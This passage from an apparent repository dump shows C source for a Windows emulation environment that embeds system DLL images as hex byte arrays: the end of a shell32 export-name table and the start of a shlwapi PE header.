\"\\x55\\x70\\x64\\x61\\x74\\x65\\x49\\x6D\\x61\\x67\\x65\\x00\\x53\\x48\\x48\\x65\"   //UpdateImage.SHHe\n/* 7C9EC030 */   \"\\x6C\\x70\\x53\\x68\\x6F\\x72\\x74\\x63\\x75\\x74\\x73\\x5F\\x52\\x75\\x6E\\x44\"   //lpShortcuts_RunD\n/* 7C9EC050 */   \"\\x4C\\x4C\\x00\\x53\\x48\\x48\\x65\\x6C\\x70\\x53\\x68\\x6F\\x72\\x74\\x63\\x75\"   //LL.SHHelpShortcu\n/* 7C9EC070 */   \"\\x74\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x41\\x00\\x53\\x48\\x48\\x65\\x6C\"   //ts_RunDLLA.SHHel\n/* 7C9EC090 */   \"\\x70\\x53\\x68\\x6F\\x72\\x74\\x63\\x75\\x74\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\"   //pShortcuts_RunDL\n/* 7C9EC0B0 */   \"\\x4C\\x57\\x00\\x53\\x48\\x49\\x4C\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x72\\x6F\"   //LW.SHILCreateFro\n/* 7C9EC0D0 */   \"\\x6D\\x50\\x61\\x74\\x68\\x00\\x53\\x48\\x49\\x6E\\x76\\x6F\\x6B\\x65\\x50\\x72\"   //mPath.SHInvokePr\n/* 7C9EC0F0 */   \"\\x69\\x6E\\x74\\x65\\x72\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x41\\x00\\x53\\x48\"   //interCommandA.SH\n/* 7C9EC110 */   \"\\x49\\x6E\\x76\\x6F\\x6B\\x65\\x50\\x72\\x69\\x6E\\x74\\x65\\x72\\x43\\x6F\\x6D\"   //InvokePrinterCom\n/* 7C9EC130 */   \"\\x6D\\x61\\x6E\\x64\\x57\\x00\\x53\\x48\\x49\\x73\\x46\\x69\\x6C\\x65\\x41\\x76\"   //mandW.SHIsFileAv\n/* 7C9EC150 */   \"\\x61\\x69\\x6C\\x61\\x62\\x6C\\x65\\x4F\\x66\\x66\\x6C\\x69\\x6E\\x65\\x00\\x53\"   //ailableOffline.S\n/* 7C9EC170 */   \"\\x48\\x4C\\x69\\x6D\\x69\\x74\\x49\\x6E\\x70\\x75\\x74\\x45\\x64\\x69\\x74\\x00\"   //HLimitInputEdit.\n/* 7C9EC190 */   \"\\x53\\x48\\x4C\\x6F\\x61\\x64\\x49\\x6E\\x50\\x72\\x6F\\x63\\x00\\x53\\x48\\x4C\"   //SHLoadInProc.SHL\n/* 7C9EC1B0 */   \"\\x6F\\x61\\x64\\x4E\\x6F\\x6E\\x6C\\x6F\\x61\\x64\\x65\\x64\\x49\\x63\\x6F\\x6E\"   //oadNonloadedIcon\n/* 7C9EC1D0 */   \"\\x4F\\x76\\x65\\x72\\x6C\\x61\\x79\\x49\\x64\\x65\\x6E\\x74\\x69\\x66\\x69\\x65\"   //OverlayIdentifie\n/* 7C9EC1F0 */   \"\\x72\\x73\\x00\\x53\\x48\\x4C\\x6F\\x61\\x64\\x4F\\x4C\\x45\\x00\\x53\\x48\\x4C\"   //rs.SHLoadOLE.SHL\n/* 7C9EC210 */   \"\\x6F\\x63\\x6B\\x53\\x68\\x61\\x72\\x65\\x64\\x00\\x53\\x48\\x4D\\x61\\x70\\x49\"   //ockShared.SHMapI\n/* 7C9EC230 */   \"\\x44\\x4C\\x69\\x73\\x74\\x54\\x6F\\x49\\x6D\\x61\\x67\\x65\\x4C\\x69\\x73\\x74\"   //DListToImageList\n/* 7C9EC250 */   \"\\x49\\x6E\\x64\\x65\\x78\\x41\\x73\\x79\\x6E\\x63\\x00\\x53\\x48\\x4D\\x61\\x70\"   //IndexAsync.SHMap\n/* 7C9EC270 */   \"\\x50\\x49\\x44\\x4C\\x54\\x6F\\x53\\x79\\x73\\x74\\x65\\x6D\\x49\\x6D\\x61\\x67\"   //PIDLToSystemImag\n/* 7C9EC290 */   \"\\x65\\x4C\\x69\\x73\\x74\\x49\\x6E\\x64\\x65\\x78\\x00\\x53\\x48\\x4D\\x75\\x6C\"   //eListIndex.SHMul\n/* 7C9EC2B0 */   \"\\x74\\x69\\x46\\x69\\x6C\\x65\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\\x69\\x65\\x73\"   //tiFileProperties\n/* 7C9EC2D0 */   \"\\x00\\x53\\x48\\x4F\\x62\\x6A\\x65\\x63\\x74\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\"   //.SHObjectPropert\n/* 7C9EC2F0 */   \"\\x69\\x65\\x73\\x00\\x53\\x48\\x4F\\x70\\x65\\x6E\\x46\\x6F\\x6C\\x64\\x65\\x72\"   //ies.SHOpenFolder\n/* 7C9EC310 */   \"\\x41\\x6E\\x64\\x53\\x65\\x6C\\x65\\x63\\x74\\x49\\x74\\x65\\x6D\\x73\\x00\\x53\"   //AndSelectItems.S\n/* 7C9EC330 */   \"\\x48\\x4F\\x70\\x65\\x6E\\x50\\x72\\x6F\\x70\\x53\\x68\\x65\\x65\\x74\\x57\\x00\"   //HOpenPropSheetW.\n/* 7C9EC350 */   \"\\x53\\x48\\x50\\x61\\x72\\x73\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\"   //SHParseDisplayNa\n/* 7C9EC370 */   \"\\x6D\\x65\\x00\\x53\\x48\\x50\\x61\\x74\\x68\\x50\\x72\\x65\\x70\\x61\\x72\\x65\"   //me.SHPathPrepare\n/* 7C9EC390 */   \"\\x46\\x6F\\x72\\x57\\x72\\x69\\x74\\x65\\x41\\x00\\x53\\x48\\x50\\x61\\x74\\x68\"   //ForWriteA.SHPath\n/* 7C9EC3B0 */   \"\\x50\\x72\\x65\\x70\\x61\\x72\\x65\\x46\\x6F\\x72\\x57\\x72\\x69\\x74\\x65\\x57\"   //PrepareForWriteW\n/* 7C9EC3D0 */   \"\\x00\\x53\\x48\\x50\\x72\\x6F\\x70\\x53\\x74\\x67\\x43\\x72\\x65\\x61\\x74\\x65\"   //.SHPropStgCreate\n/* 7C9EC3F0 */   \"\\x00\\x53\\x48\\x50\\x72\\x6F\\x70\\x53\\x74\\x67\\x52\\x65\\x61\\x64\\x4D\\x75\"   //.SHPropStgReadMu\n/* 7C9EC410 */   \"\\x6C\\x74\\x69\\x70\\x6C\\x65\\x00\\x53\\x48\\x50\\x72\\x6F\\x70\\x53\\x74\\x67\"   //ltiple.SHPropStg\n/* 7C9EC430 */   \"\\x57\\x72\\x69\\x74\\x65\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x00\\x53\\x48\"   //WriteMultiple.SH\n/* 7C9EC450 */   \"\\x51\\x75\\x65\\x72\\x79\\x52\\x65\\x63\\x79\\x63\\x6C\\x65\\x42\\x69\\x6E\\x41\"   //QueryRecycleBinA\n/* 7C9EC470 */   \"\\x00\\x53\\x48\\x51\\x75\\x65\\x72\\x79\\x52\\x65\\x63\\x79\\x63\\x6C\\x65\\x42\"   //.SHQueryRecycleB\n/* 7C9EC490 */   \"\\x69\\x6E\\x57\\x00\\x53\\x48\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x46\\x72\\x6F\"   //inW.SHReplaceFro\n/* 7C9EC4B0 */   \"\\x6D\\x50\\x72\\x6F\\x70\\x53\\x68\\x65\\x65\\x74\\x45\\x78\\x74\\x41\\x72\\x72\"   //mPropSheetExtArr\n/* 7C9EC4D0 */   \"\\x61\\x79\\x00\\x53\\x48\\x52\\x65\\x73\\x74\\x72\\x69\\x63\\x74\\x65\\x64\\x00\"   //ay.SHRestricted.\n/* 7C9EC4F0 */   \"\\x53\\x48\\x52\\x75\\x6E\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x50\\x61\\x6E\\x65\"   //SHRunControlPane\n/* 7C9EC510 */   \"\\x6C\\x00\\x53\\x48\\x53\\x65\\x74\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x45\"   //l.SHSetInstanceE\n/* 7C9EC530 */   \"\\x78\\x70\\x6C\\x6F\\x72\\x65\\x72\\x00\\x53\\x48\\x53\\x65\\x74\\x4C\\x6F\\x63\"   //xplorer.SHSetLoc\n/* 7C9EC550 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x64\\x4E\\x61\\x6D\\x65\\x00\\x53\\x48\\x53\\x65\\x74\"   //alizedName.SHSet\n/* 7C9EC570 */   \"\\x55\\x6E\\x72\\x65\\x61\\x64\\x4D\\x61\\x69\\x6C\\x43\\x6F\\x75\\x6E\\x74\\x57\"   //UnreadMailCountW\n/* 7C9EC590 */   \"\\x00\\x53\\x48\\x53\\x68\\x65\\x6C\\x6C\\x46\\x6F\\x6C\\x64\\x65\\x72\\x56\\x69\"   //.SHShellFolderVi\n/* 7C9EC5B0 */   \"\\x65\\x77\\x5F\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x53\\x48\\x53\\x69\\x6D\"   //ew_Message.SHSim\n/* 7C9EC5D0 */   \"\\x70\\x6C\\x65\\x49\\x44\\x4C\\x69\\x73\\x74\\x46\\x72\\x6F\\x6D\\x50\\x61\\x74\"   //pleIDListFromPat\n/* 7C9EC5F0 */   \"\\x68\\x00\\x53\\x48\\x53\\x74\\x61\\x72\\x74\\x4E\\x65\\x74\\x43\\x6F\\x6E\\x6E\"   //h.SHStartNetConn\n/* 7C9EC610 */   \"\\x65\\x63\\x74\\x69\\x6F\\x6E\\x44\\x69\\x61\\x6C\\x6F\\x67\\x57\\x00\\x53\\x48\"   //ectionDialogW.SH\n/* 7C9EC630 */   \"\\x54\\x65\\x73\\x74\\x54\\x6F\\x6B\\x65\\x6E\\x4D\\x65\\x6D\\x62\\x65\\x72\\x73\"   //TestTokenMembers\n/* 7C9EC650 */   \"\\x68\\x69\\x70\\x00\\x53\\x48\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x53\\x68\\x61\\x72\"   //hip.SHUnlockShar\n/* 7C9EC670 */   \"\\x65\\x64\\x00\\x53\\x48\\x55\\x70\\x64\\x61\\x74\\x65\\x49\\x6D\\x61\\x67\\x65\"   //ed.SHUpdateImage\n/* 7C9EC690 */   \"\\x41\\x00\\x53\\x48\\x55\\x70\\x64\\x61\\x74\\x65\\x49\\x6D\\x61\\x67\\x65\\x57\"   //A.SHUpdateImageW\n/* 7C9EC6B0 */   \"\\x00\\x53\\x48\\x55\\x70\\x64\\x61\\x74\\x65\\x52\\x65\\x63\\x79\\x63\\x6C\\x65\"   //.SHUpdateRecycle\n/* 7C9EC6D0 */   \"\\x42\\x69\\x6E\\x49\\x63\\x6F\\x6E\\x00\\x53\\x48\\x56\\x61\\x6C\\x69\\x64\\x61\"   //BinIcon.SHValida\n/* 7C9EC6F0 */   \"\\x74\\x65\\x55\\x4E\\x43\\x00\\x53\\x68\\x65\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\"   //teUNC.SheChangeD\n/* 7C9EC710 */   \"\\x69\\x72\\x41\\x00\\x53\\x68\\x65\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\\x69\\x72\"   //irA.SheChangeDir\n/* 7C9EC730 */   \"\\x45\\x78\\x41\\x00\\x53\\x68\\x65\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\\x69\\x72\"   //ExA.SheChangeDir\n/* 7C9EC750 */   \"\\x45\\x78\\x57\\x00\\x53\\x68\\x65\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\\x69\\x72\"   //ExW.SheChangeDir\n/* 7C9EC770 */   \"\\x57\\x00\\x53\\x68\\x65\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x50\\x61\\x74\\x68\"   //W.SheConvertPath\n/* 7C9EC790 */   \"\\x57\\x00\\x53\\x68\\x65\\x46\\x75\\x6C\\x6C\\x50\\x61\\x74\\x68\\x41\\x00\\x53\"   //W.SheFullPathA.S\n/* 7C9EC7B0 */   \"\\x68\\x65\\x46\\x75\\x6C\\x6C\\x50\\x61\\x74\\x68\\x57\\x00\\x53\\x68\\x65\\x47\"   //heFullPathW.SheG\n/* 7C9EC7D0 */   \"\\x65\\x74\\x43\\x75\\x72\\x44\\x72\\x69\\x76\\x65\\x00\\x53\\x68\\x65\\x47\\x65\"   //etCurDrive.SheGe\n/* 7C9EC7F0 */   \"\\x74\\x44\\x69\\x72\\x41\\x00\\x53\\x68\\x65\\x47\\x65\\x74\\x44\\x69\\x72\\x45\"   //tDirA.SheGetDirE\n/* 7C9EC810 */   \"\\x78\\x57\\x00\\x53\\x68\\x65\\x47\\x65\\x74\\x44\\x69\\x72\\x57\\x00\\x53\\x68\"   //xW.SheGetDirW.Sh\n/* 7C9EC830 */   \"\\x65\\x47\\x65\\x74\\x50\\x61\\x74\\x68\\x4F\\x66\\x66\\x73\\x65\\x74\\x57\\x00\"   //eGetPathOffsetW.\n/* 7C9EC850 */   \"\\x53\\x68\\x65\\x52\\x65\\x6D\\x6F\\x76\\x65\\x51\\x75\\x6F\\x74\\x65\\x73\\x41\"   //SheRemoveQuotesA\n/* 7C9EC870 */   \"\\x00\\x53\\x68\\x65\\x52\\x65\\x6D\\x6F\\x76\\x65\\x51\\x75\\x6F\\x74\\x65\\x73\"   //.SheRemoveQuotes\n/* 7C9EC890 */   \"\\x57\\x00\\x53\\x68\\x65\\x53\\x65\\x74\\x43\\x75\\x72\\x44\\x72\\x69\\x76\\x65\"   //W.SheSetCurDrive\n/* 7C9EC8B0 */   \"\\x00\\x53\\x68\\x65\\x53\\x68\\x6F\\x72\\x74\\x65\\x6E\\x50\\x61\\x74\\x68\\x41\"   //.SheShortenPathA\n/* 7C9EC8D0 */   \"\\x00\\x53\\x68\\x65\\x53\\x68\\x6F\\x72\\x74\\x65\\x6E\\x50\\x61\\x74\\x68\\x57\"   //.SheShortenPathW\n/* 7C9EC8F0 */   \"\\x00\\x53\\x68\\x65\\x6C\\x6C\\x41\\x62\\x6F\\x75\\x74\\x41\\x00\\x53\\x68\\x65\"   //.ShellAboutA.She\n/* 7C9EC910 */   \"\\x6C\\x6C\\x41\\x62\\x6F\\x75\\x74\\x57\\x00\\x53\\x68\\x65\\x6C\\x6C\\x45\\x78\"   //llAboutW.ShellEx\n/* 7C9EC930 */   \"\\x65\\x63\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x00\\x53\\x68\\x65\\x6C\\x6C\\x45\"   //ec_RunDLL.ShellE\n/* 7C9EC950 */   \"\\x78\\x65\\x63\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x41\\x00\\x53\\x68\\x65\\x6C\"   //xec_RunDLLA.Shel\n/* 7C9EC970 */   \"\\x6C\\x45\\x78\\x65\\x63\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x57\\x00\\x53\\x68\"   //lExec_RunDLLW.Sh\n/* 7C9EC990 */   \"\\x65\\x6C\\x6C\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x41\\x00\\x53\\x68\\x65\\x6C\"   //ellExecuteA.Shel\n/* 7C9EC9B0 */   \"\\x6C\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x45\\x78\\x00\\x53\\x68\\x65\\x6C\\x6C\"   //lExecuteEx.Shell\n/* 7C9EC9D0 */   \"\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x45\\x78\\x41\\x00\\x53\\x68\\x65\\x6C\\x6C\"   //ExecuteExA.Shell\n/* 7C9EC9F0 */   \"\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x45\\x78\\x57\\x00\\x53\\x68\\x65\\x6C\\x6C\"   //ExecuteExW.Shell\n/* 7C9ECA10 */   \"\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x57\\x00\\x53\\x68\\x65\\x6C\\x6C\\x48\\x6F\"   //ExecuteW.ShellHo\n/* 7C9ECA30 */   \"\\x6F\\x6B\\x50\\x72\\x6F\\x63\\x00\\x53\\x68\\x65\\x6C\\x6C\\x4D\\x65\\x73\\x73\"   //okProc.ShellMess\n/* 7C9ECA50 */   \"\\x61\\x67\\x65\\x42\\x6F\\x78\\x41\\x00\\x53\\x68\\x65\\x6C\\x6C\\x4D\\x65\\x73\"   //ageBoxA.ShellMes\n/* 7C9ECA70 */   \"\\x73\\x61\\x67\\x65\\x42\\x6F\\x78\\x57\\x00\\x53\\x68\\x65\\x6C\\x6C\\x5F\\x47\"   //sageBoxW.Shell_G\n/* 7C9ECA90 */   \"\\x65\\x74\\x43\\x61\\x63\\x68\\x65\\x64\\x49\\x6D\\x61\\x67\\x65\\x49\\x6E\\x64\"   //etCachedImageInd\n/* 7C9ECAB0 */   \"\\x65\\x78\\x00\\x53\\x68\\x65\\x6C\\x6C\\x5F\\x47\\x65\\x74\\x49\\x6D\\x61\\x67\"   //ex.Shell_GetImag\n/* 7C9ECAD0 */   \"\\x65\\x4C\\x69\\x73\\x74\\x73\\x00\\x53\\x68\\x65\\x6C\\x6C\\x5F\\x4D\\x65\\x72\"   //eLists.Shell_Mer\n/* 7C9ECAF0 */   \"\\x67\\x65\\x4D\\x65\\x6E\\x75\\x73\\x00\\x53\\x68\\x65\\x6C\\x6C\\x5F\\x4E\\x6F\"   //geMenus.Shell_No\n/* 7C9ECB10 */   \"\\x74\\x69\\x66\\x79\\x49\\x63\\x6F\\x6E\\x00\\x53\\x68\\x65\\x6C\\x6C\\x5F\\x4E\"   //tifyIcon.Shell_N\n/* 7C9ECB30 */   \"\\x6F\\x74\\x69\\x66\\x79\\x49\\x63\\x6F\\x6E\\x41\\x00\\x53\\x68\\x65\\x6C\\x6C\"   //otifyIconA.Shell\n/* 7C9ECB50 */   \"\\x5F\\x4E\\x6F\\x74\\x69\\x66\\x79\\x49\\x63\\x6F\\x6E\\x57\\x00\\x53\\x69\\x67\"   //_NotifyIconW.Sig\n/* 7C9ECB70 */   \"\\x6E\\x61\\x6C\\x46\\x69\\x6C\\x65\\x4F\\x70\\x65\\x6E\\x00\\x53\\x74\\x72\\x43\"   //nalFileOpen.StrC\n/* 7C9ECB90 */   \"\\x68\\x72\\x41\\x00\\x53\\x74\\x72\\x43\\x68\\x72\\x49\\x41\\x00\\x53\\x74\\x72\"   //hrA.StrChrIA.Str\n/* 7C9ECBB0 */   \"\\x43\\x68\\x72\\x49\\x57\\x00\\x53\\x74\\x72\\x43\\x68\\x72\\x57\\x00\\x53\\x74\"   //ChrIW.StrChrW.St\n/* 7C9ECBD0 */   \"\\x72\\x43\\x6D\\x70\\x4E\\x41\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x4E\\x49\\x41\"   //rCmpNA.StrCmpNIA\n/* 7C9ECBF0 */   \"\\x00\\x53\\x74\\x72\\x43\\x6D\\x70\\x4E\\x49\\x57\\x00\\x53\\x74\\x72\\x43\\x6D\"   //.StrCmpNIW.StrCm\n/* 7C9ECC10 */   \"\\x70\\x4E\\x57\\x00\\x53\\x74\\x72\\x43\\x70\\x79\\x4E\\x41\\x00\\x53\\x74\\x72\"   //pNW.StrCpyNA.Str\n/* 7C9ECC30 */   \"\\x43\\x70\\x79\\x4E\\x57\\x00\\x53\\x74\\x72\\x4E\\x43\\x6D\\x70\\x41\\x00\\x53\"   //CpyNW.StrNCmpA.S\n/* 7C9ECC50 */   \"\\x74\\x72\\x4E\\x43\\x6D\\x70\\x49\\x41\\x00\\x53\\x74\\x72\\x4E\\x43\\x6D\\x70\"   //trNCmpIA.StrNCmp\n/* 7C9ECC70 */   \"\\x49\\x57\\x00\\x53\\x74\\x72\\x4E\\x43\\x6D\\x70\\x57\\x00\\x53\\x74\\x72\\x4E\"   //IW.StrNCmpW.StrN\n/* 7C9ECC90 */   \"\\x43\\x70\\x79\\x41\\x00\\x53\\x74\\x72\\x4E\\x43\\x70\\x79\\x57\\x00\\x53\\x74\"   //CpyA.StrNCpyW.St\n/* 7C9ECCB0 */   \"\\x72\\x52\\x43\\x68\\x72\\x41\\x00\\x53\\x74\\x72\\x52\\x43\\x68\\x72\\x49\\x41\"   //rRChrA.StrRChrIA\n/* 7C9ECCD0 */   \"\\x00\\x53\\x74\\x72\\x52\\x43\\x68\\x72\\x49\\x57\\x00\\x53\\x74\\x72\\x52\\x43\"   //.StrRChrIW.StrRC\n/* 7C9ECCF0 */   \"\\x68\\x72\\x57\\x00\\x53\\x74\\x72\\x52\\x53\\x74\\x72\\x41\\x00\\x53\\x74\\x72\"   //hrW.StrRStrA.Str\n/* 7C9ECD10 */   \"\\x52\\x53\\x74\\x72\\x49\\x41\\x00\\x53\\x74\\x72\\x52\\x53\\x74\\x72\\x49\\x57\"   //RStrIA.StrRStrIW\n/* 7C9ECD30 */   \"\\x00\\x53\\x74\\x72\\x52\\x53\\x74\\x72\\x57\\x00\\x53\\x74\\x72\\x53\\x74\\x72\"   //.StrRStrW.StrStr\n/* 7C9ECD50 */   \"\\x41\\x00\\x53\\x74\\x72\\x53\\x74\\x72\\x49\\x41\\x00\\x53\\x74\\x72\\x53\\x74\"   //A.StrStrIA.StrSt\n/* 7C9ECD70 */   \"\\x72\\x49\\x57\\x00\\x53\\x74\\x72\\x53\\x74\\x72\\x57\\x00\\x57\\x4F\\x57\\x53\"   //rIW.StrStrW.WOWS\n/* 7C9ECD90 */   \"\\x68\\x65\\x6C\\x6C\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x00\\x57\\x69\\x6E\\x33\"   //hellExecute.Win3\n/* 7C9ECDB0 */   \"\\x32\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\\x69\\x6C\\x65\\x00\\x57\\x72\\x69\\x74\"   //2DeleteFile.Writ\n/* 7C9ECDD0 */   \"\\x65\\x43\\x61\\x62\\x69\\x6E\\x65\\x74\\x53\\x74\\x61\\x74\\x65\\x00\\x73\\x68\"   //eCabinetState.sh\n/* 7C9ECDF0 */   \"\\x6C\\x77\\x61\\x70\\x69\\x2E\\x53\\x48\\x41\\x6C\\x6C\\x6F\\x63\\x53\\x68\\x61\"   //lwapi.SHAllocSha\n/* 7C9ECE10 */   \"\\x72\\x65\\x64\\x00\\x73\\x68\\x6C\\x77\\x61\\x70\\x69\\x2E\\x53\\x48\\x46\\x72\"   //red.shlwapi.SHFr\n/* 7C9ECE30 */   \"\\x65\\x65\\x53\\x68\\x61\\x72\\x65\\x64\\x00\\x73\\x68\\x6C\\x77\\x61\\x70\\x69\"   //eeShared.shlwapi\n/* 7C9ECE50 */   \"\\x2E\\x53\\x48\\x4C\\x6F\\x63\\x6B\\x53\\x68\\x61\\x72\\x65\\x64\\x00\\x73\\x68\"   //.SHLockShared.sh\n/* 7C9ECE70 */   \"\\x6C\\x77\\x61\\x70\\x69\\x2E\\x53\\x48\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x53\\x68\"   //lwapi.SHUnlockSh\n/* 7C9ECE90 */   \"\\x61\\x72\\x65\\x64\\x00\\x73\\x68\\x6C\\x77\\x61\\x70\\x69\\x2E\\x50\\x61\\x74\"   //ared.shlwapi.Pat\n/* 7C9ECEB0 */   \"\\x68\\x42\\x75\\x69\\x6C\\x64\\x52\\x6F\\x6F\\x74\\x57\\x00\\x73\\x68\\x6C\\x77\"   //hBuildRootW.shlw\n/* 7C9ECED0 */   \"\\x61\\x70\\x69\\x2E\\x50\\x61\\x74\\x68\\x43\\x6F\\x6D\\x62\\x69\\x6E\\x65\\x57\"   //api.PathCombineW\n/* 7C9ECEF0 */   \"\\x00\\x73\\x68\\x6C\\x77\\x61\\x70\\x69\\x2E\\x50\\x61\\x74\\x68\\x49\\x73\\x55\"   //.shlwapi.PathIsU\n/* 7C9ECF10 */   \"\\x4E\\x43\\x57\\x00\\x73\\x68\\x6C\\x77\\x61\\x70\\x69\\x2E\\x50\\x61\\x74\\x68\"   //NCW.shlwapi.Path\n/* 7C9ECF30 */   \"\\x49\\x73\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x57\\x00\\x73\\x68\\x6C\\x77\"   //IsRelativeW.shlw\n/* 7C9ECF50 */   \"\\x61\\x70\\x69\\x2E\\x50\\x61\\x74\\x68\\x47\\x65\\x74\\x44\\x72\\x69\\x76\\x65\"   //api.PathGetDrive\n/* 7C9ECF70 */   \"\\x4E\\x75\\x6D\\x62\\x65\\x72\\x57\\x00\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\"   //NumberW.......ÿU\n/* 7C9ECF90 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\n"
  },
  {
    "path": "src/environment/win32/dlls/shlwapidll.c",
    "content": "const char shlwapi_77F60000[] =\n/* 000000 */   \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\"   //MZ..........ÿÿ..\n/* 000020 */   \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //........@.......\n/* 000040 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF8\\x00\\x00\\x00\"   //............ø...\n/* 000080 */   \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\"   //.......Í!..LÍ!Th\n/* 0000A0 */   \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\"   //is.program.canno\n/* 0000C0 */   \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\"   //t.be.run.in.DOS.\n/* 0000E0 */   \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //mode....$.......\n/* 000100 */   \"\\x32\\xC1\\xF5\\xE0\\x76\\xA0\\x9B\\xB3\\x76\\xA0\\x9B\\xB3\\x76\\xA0\\x9B\\xB3\"   //2Áõàv...v...v...\n/* 000120 */   \"\\x76\\xA0\\x9B\\xB3\\x71\\xA0\\x9B\\xB3\\x76\\xA0\\x9A\\xB3\\xFB\\xA2\\x9B\\xB3\"   //v...q...v...û...\n/* 000140 */   \"\\xB5\\xAF\\xC6\\xB3\\x7D\\xA0\\x9B\\xB3\\xB5\\xAF\\x94\\xB3\\x7F\\xA0\\x9B\\xB3\"   //..Æ.}...........\n/* 000160 */   \"\\xC9\\xAF\\xFB\\xB3\\x74\\xA0\\x9B\\xB3\\xB5\\xAF\\xFB\\xB3\\x41\\xA0\\x9B\\xB3\"   //É.û.t.....û.A...\n/* 000180 */   \"\\xB5\\xAF\\xC7\\xB3\\x77\\xA0\\x9B\\xB3\\xB5\\xAF\\xC5\\xB3\\x77\\xA0\\x9B\\xB3\"   //..Ç.w.....Å.w...\n/* 0001A0 */   \"\\xB5\\xAF\\xC4\\xB3\\xC7\\xA0\\x9B\\xB3\\xB5\\xAF\\xC1\\xB3\\x77\\xA0\\x9B\\xB3\"   //..Ä.Ç.....Á.w...\n/* 0001C0 */   \"\\x52\\x69\\x63\\x68\\x76\\xA0\\x9B\\xB3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //Richv...........\n/* 0001E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\"   //........PE..L...\n/* 000200 */   \"\\x10\\x1B\\x1E\\x4B\\x5B\\x4C\\x6F\\x72\\x64\\x50\\x45\\x5D\\xE0\\x00\\x0E\\x21\"   //...K[LordPE]à..!\n/* 000220 */   \"\\x0B\\x01\\x07\\x0A\\x00\\xBC\\x06\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000240 */   \"\\x0B\\x52\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xD0\\x06\\x00\\x00\\x00\\xF6\\x77\"   //.R.......Ð....öw\n/* 000260 */   \"\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\"   //................\n/* 000280 */   \"\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x07\\x00\\x00\\x10\\x00\\x00\"   //.........`......\n/* 0002A0 */   \"\\x64\\x04\\x08\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\"   //d...............\n/* 0002C0 */   \"\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\"   //................\n/* 0002E0 */   \"\\x20\\x18\\x00\\x00\\xFE\\x27\\x00\\x00\\x28\\x9E\\x06\\x00\\x78\\x00\\x00\\x00\"   //....þ'..(...x...\n/* 000300 */   \"\\x00\\xE0\\x06\\x00\\x60\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.à..`...........\n/* 000320 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\xD4\\x59\\x00\\x00\"   //............ÔY..\n/* 000340 */   \"\\x48\\xCB\\x06\\x00\\x38\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //HË..8...........\n/* 000360 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000380 */   